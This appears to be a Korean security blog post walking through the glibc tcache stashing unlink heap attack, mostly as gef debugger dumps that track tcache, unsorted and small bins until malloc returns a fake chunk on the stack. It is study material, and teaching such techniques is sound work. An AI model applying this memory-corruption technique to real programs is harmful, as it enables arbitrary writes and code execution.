tcache_stashing_unlink_attack

728x90

요약

- calloc의 취약점?을 이용하여 공격

- calloc은 할당했을때 tcache bin에서 chunk를 가져가지 않는다.

- calloc은 여러 bin들을 탐색하고, 대응하는 size의 bin이 tcache bin에 비어있지 않다면 이러한 bin을 사용

 

 

0x90 크기의 청크를 9개를 할당

0x405000            0x0                 0x290                Used                None              None
0x405290            0x0                 0xa0                 Used                None              None
0x405330            0x0                 0xa0                 Used                None              None
0x4053d0            0x0                 0xa0                 Used                None              None
0x405470            0x0                 0xa0                 Used                None              None
0x405510            0x0                 0xa0                 Used                None              None
0x4055b0            0x0                 0xa0                 Used                None              None
0x405650            0x0                 0xa0                 Used                None              None
0x4056f0            0x0                 0xa0                 Used                None              None
0x405790            0x0                 0xa0                 Used                None              None

index 3~8까지 free, 총 6개의 tcache bin에 chunk가 들어감을 확인하였음

gef➤  parseheap
addr                prev                size                 status              fd                bk                
0x405000            0x0                 0x290                Used                None              None
0x405290            0x0                 0xa0                 Used                None              None
0x405330            0x0                 0xa0                 Used                None              None
0x4053d0            0x0                 0xa0                 Used                None              None
0x405470            0x0                 0xa0                 Freed                0x0              None
0x405510            0x0                 0xa0                 Freed           0x405480              None
0x4055b0            0x0                 0xa0                 Freed           0x405520              None
0x405650            0x0                 0xa0                 Freed           0x4055c0              None
0x4056f0            0x0                 0xa0                 Freed           0x405660              None
0x405790            0x0                 0xa0                 Freed           0x405700              None
ef➤  heap bins
──────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────
Tcachebins[idx=8, size=0xa0] count=6  ←  Chunk(addr=0x4057a0, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x405700, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x405660, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x4055c0, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x405520, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x405480, size=0xa0, flags=PREV_INUSE)

다음 index 1의 chunk를 해제 -> 총 tcache bin은 7개로 꽉 차게 됨

gef➤  parseheap
addr                prev                size                 status              fd                bk                
0x405000            0x0                 0x290                Used                None              None
0x405290            0x0                 0xa0                 Used                None              None
0x405330            0x0                 0xa0                 Freed           0x4057a0              None
0x4053d0            0x0                 0xa0                 Used                None              None
0x405470            0x0                 0xa0                 Freed                0x0              None
0x405510            0x0                 0xa0                 Freed           0x405480              None
0x4055b0            0x0                 0xa0                 Freed           0x405520              None
0x405650            0x0                 0xa0                 Freed           0x4055c0              None
0x4056f0            0x0                 0xa0                 Freed           0x405660              None
0x405790            0x0                 0xa0                 Freed           0x405700              None
gef➤  heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x405830 (size : 0x207d0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0xa0)   tcache_entry[8](7): 0x405340 --> 0x4057a0 --> 0x405700 --> 0x405660 --> 0x4055c0 --> 0x405520 --> 0x405480

index 0의 chunk를 해제 -> tcache bin은 꽉 차고, 크기는 0x90(144)이기 때문에 unsorted bin에 들어가게 됨

gef➤  heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x405830 (size : 0x207d0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x405290 (size : 0xa0)
(0xa0)   tcache_entry[8](7): 0x405340 --> 0x4057a0 --> 0x405700 --> 0x405660 --> 0x4055c0 --> 0x405520 --> 0x405480
gef➤  parseheap
addr                prev                size                 status              fd                bk                
0x405000            0x0                 0x290                Used                None              None
0x405290            0x0                 0xa0                 Freed     0x7ffff7fa9be0    0x7ffff7fa9be0
0x405330            0xa0                0xa0                 Freed           0x4057a0              None
0x4053d0            0x0                 0xa0                 Used                None              None
0x405470            0x0                 0xa0                 Freed                0x0              None
0x405510            0x0                 0xa0                 Freed           0x405480              None
0x4055b0            0x0                 0xa0                 Freed           0x405520              None
0x405650            0x0                 0xa0                 Freed           0x4055c0              None
0x4056f0            0x0                 0xa0                 Freed           0x405660              None
0x405790            0x0                 0xa0                 Freed           0x405700              None

index 2 해제, index 0과 2가 서로 가리킴

gef➤  parseheap
addr                prev                size                 status              fd                bk                
0x405000            0x0                 0x290                Used                None              None
0x405290            0x0                 0xa0                 Freed     0x7ffff7fa9be0          0x4053d0
0x405330            0xa0                0xa0                 Freed           0x4057a0              None
0x4053d0            0x0                 0xa0                 Freed           0x405290    0x7ffff7fa9be0
0x405470            0xa0                0xa0                 Freed                0x0              None
0x405510            0x0                 0xa0                 Freed           0x405480              None
0x4055b0            0x0                 0xa0                 Freed           0x405520              None
0x405650            0x0                 0xa0                 Freed           0x4055c0              None
0x4056f0            0x0                 0xa0                 Freed           0x405660              None
0x405790            0x0                 0xa0                 Freed           0x405700              None
gef➤  heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x405830 (size : 0x207d0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x4053d0 (size : 0xa0) <--> 0x405290 (size : 0xa0)
(0xa0)   tcache_entry[8](7): 0x405340 --> 0x4057a0 --> 0x405700 --> 0x405660 --> 0x4055c0 --> 0x405520 --> 0x405480

아까 처음에 할당했던 0x90보다 큰 size인 0xa0을 할당 -> small bin에 들어가게 됨

gef➤  parseheap
addr                prev                size                 status              fd                bk                
0x405000            0x0                 0x290                Used                None              None
0x405290            0x0                 0xa0                 Freed     0x7ffff7fa9c70          0x4053d0
0x405330            0xa0                0xa0                 Freed           0x4057a0              None
0x4053d0            0x0                 0xa0                 Freed           0x405290    0x7ffff7fa9c70
0x405470            0xa0                0xa0                 Freed                0x0              None
0x405510            0x0                 0xa0                 Freed           0x405480              None
0x4055b0            0x0                 0xa0                 Freed           0x405520              None
0x405650            0x0                 0xa0                 Freed           0x4055c0              None
0x4056f0            0x0                 0xa0                 Freed           0x405660              None
0x405790            0x0                 0xa0                 Freed           0x405700              None
0x405830            0x0                 0xb0                 Used                None              None
gef➤  heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x4058e0 (size : 0x20720) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x0a0)  smallbin[ 8]: 0x4053d0  <--> 0x405290
(0xa0)   tcache_entry[8](7): 0x405340 --> 0x4057a0 --> 0x405700 --> 0x405660 --> 0x4055c0 --> 0x405520 --> 0x405480

0x90사이즈의 청크를 재할당, tcache_entry의 번호가 하나 줄어듬

gef➤  heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x4058e0 (size : 0x20720) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x0a0)  smallbin[ 8]: 0x4053d0  <--> 0x405290
(0xa0)   tcache_entry[8](6): 0x4057a0 --> 0x405700 --> 0x405660 --> 0x4055c0 --> 0x405520 --> 0x405480
gef➤  parseheap
addr                prev                size                 status              fd                bk                
0x405000            0x0                 0x290                Used                None              None
0x405290            0x0                 0xa0                 Freed     0x7ffff7fa9c70          0x4053d0
0x405330            0xa0                0xa0                 Freed           0x4057a0              None
0x4053d0            0x0                 0xa0                 Freed           0x405290    0x7ffff7fa9c70
0x405470            0xa0                0xa0                 Freed                0x0              None
0x405510            0x0                 0xa0                 Freed           0x405480              None
0x4055b0            0x0                 0xa0                 Freed           0x405520              None
0x405650            0x0                 0xa0                 Freed           0x4055c0              None
0x4056f0            0x0                 0xa0                 Freed           0x405660              None
0x405790            0x0                 0xa0                 Freed           0x405700              None
0x405830            0x0                 0xb0                 Used                None              None
gef➤  heap bins
──────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────
Tcachebins[idx=8, size=0xa0] count=6  ←  Chunk(addr=0x4057a0, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x405700, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x405660, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x4055c0, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x405520, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x405480, size=0xa0, flags=! PREV_INUSE) 
─────────────────────────────────────────── Fastbins for arena 0x7ffff7fa9b80 ───────────────────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ──────────────────────────────────────────
[+] Found 0 chunks in unsorted bin.
─────────────────────────────────────────── Small Bins for arena 'main_arena' ───────────────────────────────────────────
[+] small_bins[9]: fw=0x4053d0, bk=0x405290
 →   Chunk(addr=0x4053e0, size=0xa0, flags=PREV_INUSE)   →   Chunk(addr=0x4052a0, size=0xa0, flags=PREV_INUSE)

한번 더 0x90사이즈의 chunk 할당 -> 총 5개의 tcache bin과 2개의 smallbin이 존재

gef➤  heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x4058e0 (size : 0x20720) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x0a0)  smallbin[ 8]: 0x4053d0  <--> 0x405290
(0xa0)   tcache_entry[8](5): 0x405700 --> 0x405660 --> 0x4055c0 --> 0x405520 --> 0x405480
gef➤  heap bins
──────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────
Tcachebins[idx=8, size=0xa0] count=5  ←  Chunk(addr=0x405700, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x405660, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x4055c0, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x405520, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x405480, size=0xa0, flags=! PREV_INUSE) 
─────────────────────────────────────────── Fastbins for arena 0x7ffff7fa9b80 ───────────────────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ──────────────────────────────────────────
[+] Found 0 chunks in unsorted bin.
─────────────────────────────────────────── Small Bins for arena 'main_arena' ───────────────────────────────────────────
[+] small_bins[9]: fw=0x4053d0, bk=0x405290
 →   Chunk(addr=0x4053e0, size=0xa0, flags=PREV_INUSE)   →   Chunk(addr=0x4052a0, size=0xa0, flags=PREV_INUSE)
[+] Found 2 chunks in 1 small non-empty bins.

victem->bk의 포인터 주소를 fake_chunk의 주소로 덮는다

gef➤  heap bins
──────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────
Tcachebins[idx=8, size=0xa0] count=5  ←  Chunk(addr=0x405700, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x405660, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x4055c0, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x405520, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x405480, size=0xa0, flags=! PREV_INUSE) 
─────────────────────────────────────────── Fastbins for arena 0x7ffff7fa9b80 ───────────────────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ──────────────────────────────────────────
[+] Found 0 chunks in unsorted bin.
─────────────────────────────────────────── Small Bins for arena 'main_arena' ───────────────────────────────────────────
[+] small_bins[9]: fw=0x4053d0, bk=0x405290
 →   Chunk(addr=0x4053e0, size=0xa0, flags=PREV_INUSE)   →   Chunk(addr=0x4052a0, size=0xa0, flags=PREV_INUSE)
[+] Found 2 chunks in 1 small non-empty bins.
─────────────────────────────────────────── Large Bins for arena 'main_arena' ───────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
gef➤  heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x4058e0 (size : 0x20720) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x0a0)  smallbin[ 8]: 0x4053d0 (doubly linked list corruption 0x4053d0 != 0x0 and 0x4053d0 is broken)
(0xa0)   tcache_entry[8](5): 0x405700 --> 0x405660 --> 0x4055c0 --> 0x405520 --> 0x405480

그리고 Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins

gef➤  heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x4058e0 (size : 0x20720) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x0a0)  smallbin[ 8]: 0x4053d0 (doubly linked list corruption 0x4053d0 != 0x7 and 0x4053d0 is broken)
(0xa0)   tcache_entry[8](7): 0x7fffffffdee0 --> 0x4053e0 --> 0x405700 --> 0x405660 --> 0x4055c0 --> 0x405520 --> 0x405480
gef➤  heap bins
──────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────
Tcachebins[idx=8, size=0xa0] count=7  ←  Chunk(addr=0x7fffffffdee0, size=0x0, flags=! PREV_INUSE)  ←  Chunk(addr=0x4053e0, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x405700, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x405660, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x4055c0, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x405520, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x405480, size=0xa0, flags=PREV_INUSE) 
─────────────────────────────────────────── Fastbins for arena 0x7ffff7fa9b80 ───────────────────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ──────────────────────────────────────────
[+] Found 0 chunks in unsorted bin.
─────────────────────────────────────────── Small Bins for arena 'main_arena' ───────────────────────────────────────────
[+] small_bins[9]: fw=0x4053d0, bk=0x7fffffffdee0
[!] Command 'heap bins small' failed to execute properly, reason: Cannot access memory at address 0x8

Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]

gef➤  heap bins
──────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────
Tcachebins[idx=8, size=0xa0] count=6  ←  Chunk(addr=0x4053e0, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x405700, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x405660, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x4055c0, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x405520, size=0xa0, flags=PREV_INUSE)  ←  Chunk(addr=0x405480, size=0xa0, flags=PREV_INUSE) 
─────────────────────────────────────────── Fastbins for arena 0x7ffff7fa9b80 ───────────────────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ──────────────────────────────────────────
[+] Found 0 chunks in unsorted bin.
─────────────────────────────────────────── Small Bins for arena 'main_arena' ───────────────────────────────────────────
[+] small_bins[9]: fw=0x4053d0, bk=0x7fffffffdee0
[!] Command 'heap bins small' failed to execute properly, reason: Cannot access memory at address 0x8
─────────────────────────────────────────── Large Bins for arena 'main_arena' ───────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
gef➤  heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x4058e0 (size : 0x20720) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x0a0)  smallbin[ 8]: 0x4053d0 (doubly linked list corruption 0x4053d0 != 0x6 and 0x4053d0 is broken)
(0xa0)   tcache_entry[8](6): 0x4053e0 --> 0x405700 --> 0x405660 --> 0x4055c0 --> 0x405520 --> 0x405480

printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);

As you can see, next malloc(0x90) will return the region our fake chunk: 0x7fffffffdee0

 

728x90